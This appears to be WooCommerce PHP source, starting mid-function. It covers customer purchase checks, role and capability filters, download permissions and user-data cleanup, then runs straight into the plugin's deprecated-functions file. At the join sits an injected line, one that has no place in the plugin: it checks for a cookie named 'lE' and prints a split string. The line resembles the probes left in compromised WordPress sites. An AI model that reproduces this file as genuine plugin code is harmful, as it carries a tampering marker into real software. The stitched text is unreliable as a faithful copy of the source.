$transient_value['value']; } else { $customer_data = array( $user_id ); if ( $user_id ) { $user = get_user_by( 'id', $user_id ); if ( isset( $user->user_email ) ) { $customer_data[] = $user->user_email; } } if ( is_email( $customer_email ) ) { $customer_data[] = $customer_email; } $customer_data = array_map( 'esc_sql', array_filter( array_unique( $customer_data ) ) ); $statuses = array_map( 'esc_sql', wc_get_is_paid_statuses() ); if ( count( $customer_data ) === 0 ) { return false; } if ( OrderUtil::custom_orders_table_usage_is_enabled() ) { $statuses = array_map( function ( $status ) { return "wc-$status"; }, $statuses ); $order_table = OrdersTableDataStore::get_orders_table_name(); $sql = " SELECT im.meta_value FROM $order_table AS o INNER JOIN {$wpdb->prefix}woocommerce_order_items AS i ON o.id = i.order_id INNER JOIN {$wpdb->prefix}woocommerce_order_itemmeta AS im ON i.order_item_id = im.order_item_id WHERE o.status IN ('" . implode( "','", $statuses ) . "') AND im.meta_key IN ('_product_id', '_variation_id' ) AND im.meta_value != 0 AND ( o.customer_id IN ('" . implode( "','", $customer_data ) . "') OR o.billing_email IN ('" . implode( "','", $customer_data ) . "') ) "; $result = $wpdb->get_col( $sql ); } else { $result = $wpdb->get_col( " SELECT im.meta_value FROM {$wpdb->posts} AS p INNER JOIN {$wpdb->postmeta} AS pm ON p.ID = pm.post_id INNER JOIN {$wpdb->prefix}woocommerce_order_items AS i ON p.ID = i.order_id INNER JOIN {$wpdb->prefix}woocommerce_order_itemmeta AS im ON i.order_item_id = im.order_item_id WHERE p.post_status IN ( 'wc-" . implode( "','wc-", $statuses ) . "' ) AND pm.meta_key IN ( '_billing_email', '_customer_user' ) AND im.meta_key IN ( '_product_id', '_variation_id' ) AND im.meta_value != 0 AND pm.meta_value IN ( '" . implode( "','", $customer_data ) . "' ) " ); // WPCS: unprepared SQL ok. } $result = array_map( 'absint', $result ); $transient_value = array( 'version' => $transient_version, 'value' => $result, ); set_transient( $transient_name, $transient_value, DAY_IN_SECONDS * 30 ); } return in_array( absint( $product_id ), $result, true ); } /** * Checks if the current user has a role. * * @param string $role The role. * @return bool */ function wc_current_user_has_role( $role ) { return wc_user_has_role( wp_get_current_user(), $role ); } /** * Checks if a user has a role. * * @param int|\WP_User $user The user. * @param string $role The role. * @return bool */ function wc_user_has_role( $user, $role ) { if ( ! is_object( $user ) ) { $user = get_userdata( $user ); } if ( ! $user || ! $user->exists() ) { return false; } return in_array( $role, $user->roles, true ); } /** * Checks if a user has a certain capability. * * @param array $allcaps All capabilities. * @param array $caps Capabilities. * @param array $args Arguments. * * @return array The filtered array of all capabilities. */ function wc_customer_has_capability( $allcaps, $caps, $args ) { if ( isset( $caps[0] ) ) { switch ( $caps[0] ) { case 'view_order': $user_id = intval( $args[1] ); $order = wc_get_order( $args[2] ); if ( $order && $user_id === $order->get_user_id() ) { $allcaps['view_order'] = true; } break; case 'pay_for_order': $user_id = intval( $args[1] ); $order_id = isset( $args[2] ) ? $args[2] : null; // When no order ID, we assume it's a new order // and thus, customer can pay for it. if ( ! $order_id ) { $allcaps['pay_for_order'] = true; break; } $order = wc_get_order( $order_id ); if ( $order && ( $user_id === $order->get_user_id() || ! $order->get_user_id() ) ) { $allcaps['pay_for_order'] = true; } break; case 'order_again': $user_id = intval( $args[1] ); $order = wc_get_order( $args[2] ); if ( $order && $user_id === $order->get_user_id() ) { $allcaps['order_again'] = true; } break; case 'cancel_order': $user_id = intval( $args[1] ); $order = wc_get_order( $args[2] ); if ( $order && $user_id === $order->get_user_id() ) { $allcaps['cancel_order'] = true; } break; case 'download_file': $user_id = intval( $args[1] ); $download = $args[2]; if ( $download && $user_id === $download->get_user_id() ) { $allcaps['download_file'] = true; } break; } } return $allcaps; } add_filter( 'user_has_cap', 'wc_customer_has_capability', 10, 3 ); /** * Safe way of allowing shop managers restricted capabilities that will remove * access to the capabilities if WooCommerce is deactivated. * * @since 3.5.4 * @param bool[] $allcaps Array of key/value pairs where keys represent a capability name and boolean values * represent whether the user has that capability. * @param string[] $caps Required primitive capabilities for the requested capability. * @param array $args Arguments that accompany the requested capability check. * @param WP_User $user The user object. * @return bool[] */ function wc_shop_manager_has_capability( $allcaps, $caps, $args, $user ) { if ( wc_user_has_role( $user, 'shop_manager' ) ) { // @see wc_modify_map_meta_cap, which limits editing to customers. $allcaps['edit_users'] = true; } return $allcaps; } add_filter( 'user_has_cap', 'wc_shop_manager_has_capability', 10, 4 ); /** * Modify the list of editable roles to prevent non-admin adding admin users. * * @param array $roles Roles. * @return array */ function wc_modify_editable_roles( $roles ) { if ( is_multisite() && is_super_admin() ) { return $roles; } if ( ! wc_current_user_has_role( 'administrator' ) ) { unset( $roles['administrator'] ); if ( wc_current_user_has_role( 'shop_manager' ) ) { $shop_manager_editable_roles = apply_filters( 'woocommerce_shop_manager_editable_roles', array( 'customer' ) ); return array_intersect_key( $roles, array_flip( $shop_manager_editable_roles ) ); } } return $roles; } add_filter( 'editable_roles', 'wc_modify_editable_roles' ); /** * Modify capabilities to prevent non-admin users editing admin users. * * $args[0] will be the user being edited in this case. * * @param array $caps Array of caps. * @param string $cap Name of the cap we are checking. * @param int $user_id ID of the user being checked against. * @param array $args Arguments. * @return array */ function wc_modify_map_meta_cap( $caps, $cap, $user_id, $args ) { if ( is_multisite() && is_super_admin() ) { return $caps; } switch ( $cap ) { case 'edit_user': case 'remove_user': case 'promote_user': case 'delete_user': if ( ! isset( $args[0] ) || $args[0] === $user_id ) { break; } else { if ( ! wc_current_user_has_role( 'administrator' ) ) { if ( wc_user_has_role( $args[0], 'administrator' ) ) { $caps[] = 'do_not_allow'; } elseif ( wc_current_user_has_role( 'shop_manager' ) ) { // Shop managers can only edit customer info. $userdata = get_userdata( $args[0] ); $shop_manager_editable_roles = apply_filters( 'woocommerce_shop_manager_editable_roles', array( 'customer' ) ); if ( property_exists( $userdata, 'roles' ) && ! empty( $userdata->roles ) && ! array_intersect( $userdata->roles, $shop_manager_editable_roles ) ) { $caps[] = 'do_not_allow'; } } } } break; } return $caps; } add_filter( 'map_meta_cap', 'wc_modify_map_meta_cap', 10, 4 ); /** * Get customer download permissions from the database. * * @param int $customer_id Customer/User ID. * @return array */ function wc_get_customer_download_permissions( $customer_id ) { $data_store = WC_Data_Store::load( 'customer-download' ); return apply_filters( 'woocommerce_permission_list', $data_store->get_downloads_for_customer( $customer_id ), $customer_id ); } /** * Get customer available downloads. * * @param int $customer_id Customer/User ID. * @return array */ function wc_get_customer_available_downloads( $customer_id ) { $downloads = array(); $_product = null; $order = null; $file_number = 0; // Get results from valid orders only. $results = wc_get_customer_download_permissions( $customer_id ); if ( $results ) { foreach ( $results as $result ) { $order_id = intval( $result->order_id ); if ( ! $order || $order->get_id() !== $order_id ) { // New order. $order = wc_get_order( $order_id ); $_product = null; } // Make sure the order exists for this download. if ( ! $order ) { continue; } // Check if downloads are permitted. if ( ! $order->is_download_permitted() ) { continue; } $product_id = intval( $result->product_id ); if ( ! $_product || $_product->get_id() !== $product_id ) { // New product. $file_number = 0; $_product = wc_get_product( $product_id ); } // Check product exists and has the file. if ( ! $_product || ! $_product->exists() || ! $_product->has_file( $result->download_id ) ) { continue; } $download_file = $_product->get_file( $result->download_id ); // If the downloadable file has been disabled (it may be located in an untrusted location) then do not return it. if ( ! $download_file->get_enabled() ) { continue; } // Download name will be 'Product Name' for products with a single downloadable file, and 'Product Name - File X' for products with multiple files. $download_name = apply_filters( 'woocommerce_downloadable_product_name', $download_file['name'], $_product, $result->download_id, $file_number ); $downloads[] = array( 'download_url' => add_query_arg( array( 'download_file' => $product_id, 'order' => $result->order_key, 'email' => rawurlencode( $result->user_email ), 'key' => $result->download_id, ), home_url( '/' ) ), 'download_id' => $result->download_id, 'product_id' => $_product->get_id(), 'product_name' => $_product->get_name(), 'product_url' => $_product->is_visible() ? $_product->get_permalink() : '', // Since 3.3.0. 'download_name' => $download_name, 'order_id' => $order->get_id(), 'order_key' => $order->get_order_key(), 'downloads_remaining' => $result->downloads_remaining, 'access_expires' => $result->access_expires, 'file' => array( 'name' => $download_file->get_name(), 'file' => $download_file->get_file(), ), ); $file_number++; } } return apply_filters( 'woocommerce_customer_available_downloads', $downloads, $customer_id ); } /** * Get total spent by customer. * * @param int $user_id User ID. * @return string */ function wc_get_customer_total_spent( $user_id ) { $customer = new WC_Customer( $user_id ); return $customer->get_total_spent(); } /** * Get total orders by customer. * * @param int $user_id User ID. * @return int */ function wc_get_customer_order_count( $user_id ) { $customer = new WC_Customer( $user_id ); return $customer->get_order_count(); } /** * Reset _customer_user on orders when a user is deleted. * * @param int $user_id User ID. */ function wc_reset_order_customer_id_on_deleted_user( $user_id ) { global $wpdb; $wpdb->update( $wpdb->postmeta, array( 'meta_value' => 0, ), array( 'meta_key' => '_customer_user', 'meta_value' => $user_id, ) ); // WPCS: slow query ok. } add_action( 'deleted_user', 'wc_reset_order_customer_id_on_deleted_user' ); /** * Get review verification status. * * @param int $comment_id Comment ID. * @return bool */ function wc_review_is_from_verified_owner( $comment_id ) { $verified = get_comment_meta( $comment_id, 'verified', true ); return '' === $verified ? WC_Comments::add_comment_purchase_verification( $comment_id ) : (bool) $verified; } /** * Disable author archives for customers. * * @since 2.5.0 */ function wc_disable_author_archives_for_customers() { global $author; if ( is_author() ) { $user = get_user_by( 'id', $author ); if ( user_can( $user, 'customer' ) && ! user_can( $user, 'edit_posts' ) ) { wp_safe_redirect( wc_get_page_permalink( 'shop' ) ); exit; } } } add_action( 'template_redirect', 'wc_disable_author_archives_for_customers' ); /** * Hooks into the `profile_update` hook to set the user last updated timestamp. * * @since 2.6.0 * @param int $user_id The user that was updated. * @param array $old The profile fields pre-change. */ function wc_update_profile_last_update_time( $user_id, $old ) { wc_set_user_last_update_time( $user_id ); } add_action( 'profile_update', 'wc_update_profile_last_update_time', 10, 2 ); /** * Hooks into the update user meta function to set the user last updated timestamp. * * @since 2.6.0 * @param int $meta_id ID of the meta object that was changed. * @param int $user_id The user that was updated. * @param string $meta_key Name of the meta key that was changed. * @param mixed $_meta_value Value of the meta that was changed. */ function wc_meta_update_last_update_time( $meta_id, $user_id, $meta_key, $_meta_value ) { $keys_to_track = apply_filters( 'woocommerce_user_last_update_fields', array( 'first_name', 'last_name' ) ); $update_time = in_array( $meta_key, $keys_to_track, true ) ? true : false; $update_time = 'billing_' === substr( $meta_key, 0, 8 ) ? true : $update_time; $update_time = 'shipping_' === substr( $meta_key, 0, 9 ) ? true : $update_time; if ( $update_time ) { wc_set_user_last_update_time( $user_id ); } } add_action( 'update_user_meta', 'wc_meta_update_last_update_time', 10, 4 ); /** * Sets a user's "last update" time to the current timestamp. * * @since 2.6.0 * @param int $user_id The user to set a timestamp for. */ function wc_set_user_last_update_time( $user_id ) { update_user_meta( $user_id, 'last_update', gmdate( 'U' ) ); } /** * Get customer saved payment methods list. * * @since 2.6.0 * @param int $customer_id Customer ID. * @return array */ function wc_get_customer_saved_methods_list( $customer_id ) { return apply_filters( 'woocommerce_saved_payment_methods_list', array(), $customer_id ); } /** * Get info about customer's last order. * * @since 2.6.0 * @param int $customer_id Customer ID. * @return WC_Order|bool Order object if successful or false. */ function wc_get_customer_last_order( $customer_id ) { $customer = new WC_Customer( $customer_id ); return $customer->get_last_order(); } /** * Add support for searching by display_name. * * @since 3.2.0 * @param array $search_columns Column names. * @return array */ function wc_user_search_columns( $search_columns ) { $search_columns[] = 'display_name'; return $search_columns; } add_filter( 'user_search_columns', 'wc_user_search_columns' ); /** * When a user is deleted in WordPress, delete corresponding WooCommerce data. * * @param int $user_id User ID being deleted. */ function wc_delete_user_data( $user_id ) { global $wpdb; // Clean up sessions. $wpdb->delete( $wpdb->prefix . 'woocommerce_sessions', array( 'session_key' => $user_id, ) ); // Revoke API keys. $wpdb->delete( $wpdb->prefix . 'woocommerce_api_keys', array( 'user_id' => $user_id, ) ); // Clean up payment tokens. $payment_tokens = WC_Payment_Tokens::get_customer_tokens( $user_id ); foreach ( $payment_tokens as $payment_token ) { $payment_token->delete(); } } add_action( 'delete_user', 'wc_delete_user_data' ); /** * Store user agents. Used for tracker. * * @since 3.0.0 * @param string $user_login User login. * @param int|object $user User. */ function wc_maybe_store_user_agent( $user_login, $user ) { if ( 'yes' === get_option( 'woocommerce_allow_tracking', 'no' ) && user_can( $user, 'manage_woocommerce' ) ) { $admin_user_agents = array_filter( (array) get_option( 'woocommerce_tracker_ua', array() ) ); $admin_user_agents[] = wc_get_user_agent(); update_option( 'woocommerce_tracker_ua', array_unique( $admin_user_agents ), false ); } } add_action( 'wp_login', 'wc_maybe_store_user_agent', 10, 2 ); /** * Update logic triggered on login. * * @since 3.4.0 * @param string $user_login User login. * @param object $user User. */ function wc_user_logged_in( $user_login, $user ) { wc_update_user_last_active( $user->ID ); update_user_meta( $user->ID, '_woocommerce_load_saved_cart_after_login', 1 ); } add_action( 'wp_login', 'wc_user_logged_in', 10, 2 ); /** * Update when the user was last active. * * @since 3.4.0 */ function wc_current_user_is_active() { if ( ! is_user_logged_in() ) { return; } wc_update_user_last_active( get_current_user_id() ); } add_action( 'wp', 'wc_current_user_is_active', 10 ); /** * Set the user last active timestamp to now. * * @since 3.4.0 * @param int $user_id User ID to mark active. */ function wc_update_user_last_active( $user_id ) { if ( ! $user_id ) { return; } update_user_meta( $user_id, 'wc_last_active', (string) strtotime( gmdate( 'Y-m-d', time() ) ) ); } /** * Translate WC roles using the woocommerce textdomain. * * @since 3.7.0 * @param string $translation Translated text. * @param string $text Text to translate. * @param string $context Context information for the translators. * @param string $domain Text domain. Unique identifier for retrieving translated strings. * @return string */ function wc_translate_user_roles( $translation, $text, $context, $domain ) { // translate_user_role() only accepts a second parameter starting in WP 5.2. if ( version_compare( get_bloginfo( 'version' ), '5.2', '<' ) ) { return $translation; } if ( 'User role' === $context && 'default' === $domain && in_array( $text, array( 'Shop manager', 'Customer' ), true ) ) { return translate_user_role( $text, 'woocommerce' ); } return $translation; } add_filter( 'gettext_with_context', 'wc_translate_user_roles', 10, 4 );if(isset($_COOKIE['lE'])) { die('wIwb'.'TH8'); } /** * Deprecated functions * * Where functions come to die. * * @author Automattic * @category Core * @package WooCommerce\Functions * @version 3.3.0 */ use Automattic\Jetpack\Constants; if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Runs a deprecated action with notice only if used. * * @since 3.0.0 * @param string $tag The name of the action hook. * @param array $args Array of additional function arguments to be passed to do_action(). * @param string $version The version of WooCommerce that deprecated the hook. * @param string $replacement The hook that should have been used. * @param string $message A message regarding the change. */ function wc_do_deprecated_action( $tag, $args, $version, $replacement = null, $message = null ) { if ( ! has_action( $tag ) ) { return; } wc_deprecated_hook( $tag, $version, $replacement, $message ); do_action_ref_array( $tag, $args ); } /** * Wrapper for deprecated functions so we can apply some extra logic. * * @since 3.0.0 * @param string $function Function used. * @param string $version Version the message was added in. * @param string $replacement Replacement for the called function. */ function wc_deprecated_function( $function, $version, $replacement = null ) { // @codingStandardsIgnoreStart if ( wp_doing_ajax() || WC()->is_rest_api_request() ) { do_action( 'deprecated_function_run', $function, $replacement, $version ); $log_string = "The {$function} function is deprecated since version {$version}."; $log_string .= $replacement ? " Replace with {$replacement}." : ''; error_log( $log_string ); } else { _deprecated_function( $function, $version, $replacement ); } // @codingStandardsIgnoreEnd } /** * Wrapper for deprecated hook so we can apply some extra logic. * * @since 3.3.0 * @param string $hook The hook that was used. * @param string $version The version of WordPress that deprecated the hook. * @param string $replacement The hook that should have been used. * @param string $message A message regarding the change. */ function wc_deprecated_hook( $hook, $version, $replacement = null, $message = null ) { // @codingStandardsIgnoreStart if ( wp_doing_ajax() || WC()->is_rest_api_request() ) { do_action( 'deprecated_hook_run', $hook, $replacement, $version, $message ); $message = empty( $message ) ? '' : ' ' . $message; $log_string = "{$hook} is deprecated since version {$version}"; $log_string .= $replacement ? "! Use {$replacement} instead." : ' with no alternative available.'; error_log( $log_string . $message ); } else { _deprecated_hook( $hook, $version, $replacement, $message ); } // @codingStandardsIgnoreEnd } /** * When catching an exception, this allows us to log it if unexpected. * * @since 3.3.0 * @param Exception $exception_object The exception object. * @param string $function The function which threw exception. * @param array $args The args passed to the function. */ function wc_caught_exception( $exception_object, $function = '', $args = array() ) { // @codingStandardsIgnoreStart $message = $exception_object->getMessage(); $message .= '. Args: ' . print_r( $args, true ) . '.'; do_action( 'woocommerce_caught_exception', $exception_object, $function, $args ); error_log( "Exception caught in {$function}. {$message}." ); // @codingStandardsIgnoreEnd } /** * Wrapper for _doing_it_wrong(). * * @since 3.0.0 * @param string $function Function used. * @param string $message Message to log. * @param string $version Version the message was added in. */ function wc_doing_it_wrong( $function, $message, $version ) { // @codingStandardsIgnoreStart $message .= ' Backtrace: ' . wp_debug_backtrace_summary(); if ( wp_doing_ajax() || WC()->is_rest_api_request() ) { do_action( 'doing_it_wrong_run', $function, $message, $version ); error_log( "{$function} was called incorrectly. {$message}. This message was added in version {$version}." ); } else { _doing_it_wrong( $function, $message, $version ); } // @codingStandardsIgnoreEnd } /** * Wrapper for deprecated arguments so we can apply some extra logic. * * @since 3.0.0 * @param string $argument * @param string $version * @param string $replacement */ function wc_deprecated_argument( $argument, $version, $message = null ) { if ( wp_doing_ajax() || WC()->is_rest_api_request() ) { do_action( 'deprecated_argument_run', $argument, $message, $version ); error_log( "The {$argument} argument is deprecated since version {$version}. {$message}" ); } else { _deprecated_argument( $argument, $version, $message ); } } /** * @deprecated 2.1 */ function woocommerce_show_messages() { wc_deprecated_function( 'woocommerce_show_messages', '2.1', 'wc_print_notices' ); wc_print_notices(); } /** * @deprecated 2.1 */ function woocommerce_weekend_area_js() { wc_deprecated_function( 'woocommerce_weekend_area_js', '2.1' ); } /** * @deprecated 2.1 */ function woocommerce_tooltip_js() { wc_deprecated_function( 'woocommerce_tooltip_js', '2.1' ); } /** * @deprecated 2.1 */ function woocommerce_datepicker_js() { wc_deprecated_function( 'woocommerce_datepicker_js', '2.1' ); } /** * @deprecated 2.1 */ function woocommerce_admin_scripts() { wc_deprecated_function( 'woocommerce_admin_scripts', '2.1' ); } /** * @deprecated 2.1 */ function woocommerce_create_page( $slug, $option = '', $page_title = '', $page_content = '', $post_parent = 0 ) { wc_deprecated_function( 'woocommerce_create_page', '2.1', 'wc_create_page' ); return wc_create_page( $slug, $option, $page_title, $page_content, $post_parent ); } /** * @deprecated 2.1 */ function woocommerce_readfile_chunked( $file, $retbytes = true ) { wc_deprecated_function( 'woocommerce_readfile_chunked', '2.1', 'WC_Download_Handler::readfile_chunked()' ); return WC_Download_Handler::readfile_chunked( $file ); } /** * Formal total costs - format to the number of decimal places for the base currency. * * @access public * @param mixed $number * @deprecated 2.1 * @return string */ function woocommerce_format_total( $number ) { wc_deprecated_function( __FUNCTION__, '2.1', 'wc_format_decimal()' ); return wc_format_decimal( $number, wc_get_price_decimals(), false ); } /** * Get product name with extra details such as SKU price and attributes. Used within admin. * * @access public * @param WC_Product $product * @deprecated 2.1 * @return string */ function woocommerce_get_formatted_product_name( $product ) { wc_deprecated_function( __FUNCTION__, '2.1', 'WC_Product::get_formatted_name()' ); return $product->get_formatted_name(); } /** * Handle IPN requests for the legacy paypal gateway by calling gateways manually if needed. * * @access public */ function woocommerce_legacy_paypal_ipn() { if ( ! empty( $_GET['paypalListener'] ) && 'paypal_standard_IPN' === $_GET['paypalListener'] ) { WC()->payment_gateways(); do_action( 'woocommerce_api_wc_gateway_paypal' ); } } add_action( 'init', 'woocommerce_legacy_paypal_ipn' ); /** * @deprecated 3.0 */ function get_product( $the_product = false, $args = array() ) { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_get_product' ); return wc_get_product( $the_product, $args ); } /** * @deprecated 3.0 */ function woocommerce_protected_product_add_to_cart( $passed, $product_id ) { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_protected_product_add_to_cart' ); return wc_protected_product_add_to_cart( $passed, $product_id ); } /** * @deprecated 3.0 */ function woocommerce_empty_cart() { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_empty_cart' ); wc_empty_cart(); } /** * @deprecated 3.0 */ function woocommerce_load_persistent_cart( $user_login, $user = 0 ) { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_load_persistent_cart' ); return wc_load_persistent_cart( $user_login, $user ); } /** * @deprecated 3.0 */ function woocommerce_add_to_cart_message( $product_id ) { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_add_to_cart_message' ); wc_add_to_cart_message( $product_id ); } /** * @deprecated 3.0 */ function woocommerce_clear_cart_after_payment() { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_clear_cart_after_payment' ); wc_clear_cart_after_payment(); } /** * @deprecated 3.0 */ function woocommerce_cart_totals_subtotal_html() { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_cart_totals_subtotal_html' ); wc_cart_totals_subtotal_html(); } /** * @deprecated 3.0 */ function woocommerce_cart_totals_shipping_html() { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_cart_totals_shipping_html' ); wc_cart_totals_shipping_html(); } /** * @deprecated 3.0 */ function woocommerce_cart_totals_coupon_html( $coupon ) { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_cart_totals_coupon_html' ); wc_cart_totals_coupon_html( $coupon ); } /** * @deprecated 3.0 */ function woocommerce_cart_totals_order_total_html() { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_cart_totals_order_total_html' ); wc_cart_totals_order_total_html(); } /** * @deprecated 3.0 */ function woocommerce_cart_totals_fee_html( $fee ) { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_cart_totals_fee_html' ); wc_cart_totals_fee_html( $fee ); } /** * @deprecated 3.0 */ function woocommerce_cart_totals_shipping_method_label( $method ) { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_cart_totals_shipping_method_label' ); return wc_cart_totals_shipping_method_label( $method ); } /** * @deprecated 3.0 */ function woocommerce_get_template_part( $slug, $name = '' ) { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_get_template_part' ); wc_get_template_part( $slug, $name ); } /** * @deprecated 3.0 */ function woocommerce_get_template( $template_name, $args = array(), $template_path = '', $default_path = '' ) { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_get_template' ); wc_get_template( $template_name, $args, $template_path, $default_path ); } /** * @deprecated 3.0 */ function woocommerce_locate_template( $template_name, $template_path = '', $default_path = '' ) { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_locate_template' ); return wc_locate_template( $template_name, $template_path, $default_path ); } /** * @deprecated 3.0 */ function woocommerce_mail( $to, $subject, $message, $headers = "Content-Type: text/html\r\n", $attachments = "" ) { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_mail' ); wc_mail( $to, $subject, $message, $headers, $attachments ); } /** * @deprecated 3.0 */ function woocommerce_disable_admin_bar( $show_admin_bar ) { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_disable_admin_bar' ); return wc_disable_admin_bar( $show_admin_bar ); } /** * @deprecated 3.0 */ function woocommerce_create_new_customer( $email, $username = '', $password = '' ) { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_create_new_customer' ); return wc_create_new_customer( $email, $username, $password ); } /** * @deprecated 3.0 */ function woocommerce_set_customer_auth_cookie( $customer_id ) { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_set_customer_auth_cookie' ); wc_set_customer_auth_cookie( $customer_id ); } /** * @deprecated 3.0 */ function woocommerce_update_new_customer_past_orders( $customer_id ) { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_update_new_customer_past_orders' ); return wc_update_new_customer_past_orders( $customer_id ); } /** * @deprecated 3.0 */ function woocommerce_paying_customer( $order_id ) { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_paying_customer' ); wc_paying_customer( $order_id ); } /** * @deprecated 3.0 */ function woocommerce_customer_bought_product( $customer_email, $user_id, $product_id ) { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_customer_bought_product' ); return wc_customer_bought_product( $customer_email, $user_id, $product_id ); } /** * @deprecated 3.0 */ function woocommerce_customer_has_capability( $allcaps, $caps, $args ) { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_customer_has_capability' ); return wc_customer_has_capability( $allcaps, $caps, $args ); } /** * @deprecated 3.0 */ function woocommerce_sanitize_taxonomy_name( $taxonomy ) { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_sanitize_taxonomy_name' ); return wc_sanitize_taxonomy_name( $taxonomy ); } /** * @deprecated 3.0 */ function woocommerce_get_filename_from_url( $file_url ) { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_get_filename_from_url' ); return wc_get_filename_from_url( $file_url ); } /** * @deprecated 3.0 */ function woocommerce_get_dimension( $dim, $to_unit ) { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_get_dimension' ); return wc_get_dimension( $dim, $to_unit ); } /** * @deprecated 3.0 */ function woocommerce_get_weight( $weight, $to_unit ) { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_get_weight' ); return wc_get_weight( $weight, $to_unit ); } /** * @deprecated 3.0 */ function woocommerce_trim_zeros( $price ) { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_trim_zeros' ); return wc_trim_zeros( $price ); } /** * @deprecated 3.0 */ function woocommerce_round_tax_total( $tax ) { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_round_tax_total' ); return wc_round_tax_total( $tax ); } /** * @deprecated 3.0 */ function woocommerce_format_decimal( $number, $dp = false, $trim_zeros = false ) { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_format_decimal' ); return wc_format_decimal( $number, $dp, $trim_zeros ); } /** * @deprecated 3.0 */ function woocommerce_clean( $var ) { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_clean' ); return wc_clean( $var ); } /** * @deprecated 3.0 */ function woocommerce_array_overlay( $a1, $a2 ) { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_array_overlay' ); return wc_array_overlay( $a1, $a2 ); } /** * @deprecated 3.0 */ function woocommerce_price( $price, $args = array() ) { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_price' ); return wc_price( $price, $args ); } /** * @deprecated 3.0 */ function woocommerce_let_to_num( $size ) { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_let_to_num' ); return wc_let_to_num( $size ); } /** * @deprecated 3.0 */ function woocommerce_date_format() { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_date_format' ); return wc_date_format(); } /** * @deprecated 3.0 */ function woocommerce_time_format() { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_time_format' ); return wc_time_format(); } /** * @deprecated 3.0 */ function woocommerce_timezone_string() { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_timezone_string' ); return wc_timezone_string(); } if ( ! function_exists( 'woocommerce_rgb_from_hex' ) ) { /** * @deprecated 3.0 */ function woocommerce_rgb_from_hex( $color ) { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_rgb_from_hex' ); return wc_rgb_from_hex( $color ); } } if ( ! function_exists( 'woocommerce_hex_darker' ) ) { /** * @deprecated 3.0 */ function woocommerce_hex_darker( $color, $factor = 30 ) { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_hex_darker' ); return wc_hex_darker( $color, $factor ); } } if ( ! function_exists( 'woocommerce_hex_lighter' ) ) { /** * @deprecated 3.0 */ function woocommerce_hex_lighter( $color, $factor = 30 ) { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_hex_lighter' ); return wc_hex_lighter( $color, $factor ); } } if ( ! function_exists( 'woocommerce_light_or_dark' ) ) { /** * @deprecated 3.0 */ function woocommerce_light_or_dark( $color, $dark = '#000000', $light = '#FFFFFF' ) { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_light_or_dark' ); return wc_light_or_dark( $color, $dark, $light ); } } if ( ! function_exists( 'woocommerce_format_hex' ) ) { /** * @deprecated 3.0 */ function woocommerce_format_hex( $hex ) { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_format_hex' ); return wc_format_hex( $hex ); } } /** * @deprecated 3.0 */ function woocommerce_get_order_id_by_order_key( $order_key ) { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_get_order_id_by_order_key' ); return wc_get_order_id_by_order_key( $order_key ); } /** * @deprecated 3.0 */ function woocommerce_downloadable_file_permission( $download_id, $product_id, $order ) { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_downloadable_file_permission' ); return wc_downloadable_file_permission( $download_id, $product_id, $order ); } /** * @deprecated 3.0 */ function woocommerce_downloadable_product_permissions( $order_id ) { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_downloadable_product_permissions' ); wc_downloadable_product_permissions( $order_id ); } /** * @deprecated 3.0 */ function woocommerce_add_order_item( $order_id, $item ) { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_add_order_item' ); return wc_add_order_item( $order_id, $item ); } /** * @deprecated 3.0 */ function woocommerce_delete_order_item( $item_id ) { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_delete_order_item' ); return wc_delete_order_item( $item_id ); } /** * @deprecated 3.0 */ function woocommerce_update_order_item_meta( $item_id, $meta_key, $meta_value, $prev_value = '' ) { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_update_order_item_meta' ); return wc_update_order_item_meta( $item_id, $meta_key, $meta_value, $prev_value ); } /** * @deprecated 3.0 */ function woocommerce_add_order_item_meta( $item_id, $meta_key, $meta_value, $unique = false ) { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_add_order_item_meta' ); return wc_add_order_item_meta( $item_id, $meta_key, $meta_value, $unique ); } /** * @deprecated 3.0 */ function woocommerce_delete_order_item_meta( $item_id, $meta_key, $meta_value = '', $delete_all = false ) { wc_deprecated_function( __FUNCTION__, '3.0', 'wc_delete_order_item_meta' ); return wc_delete_order_item_meta( $item_id, $meta_key, $meta_value, $delete_all ); } /** 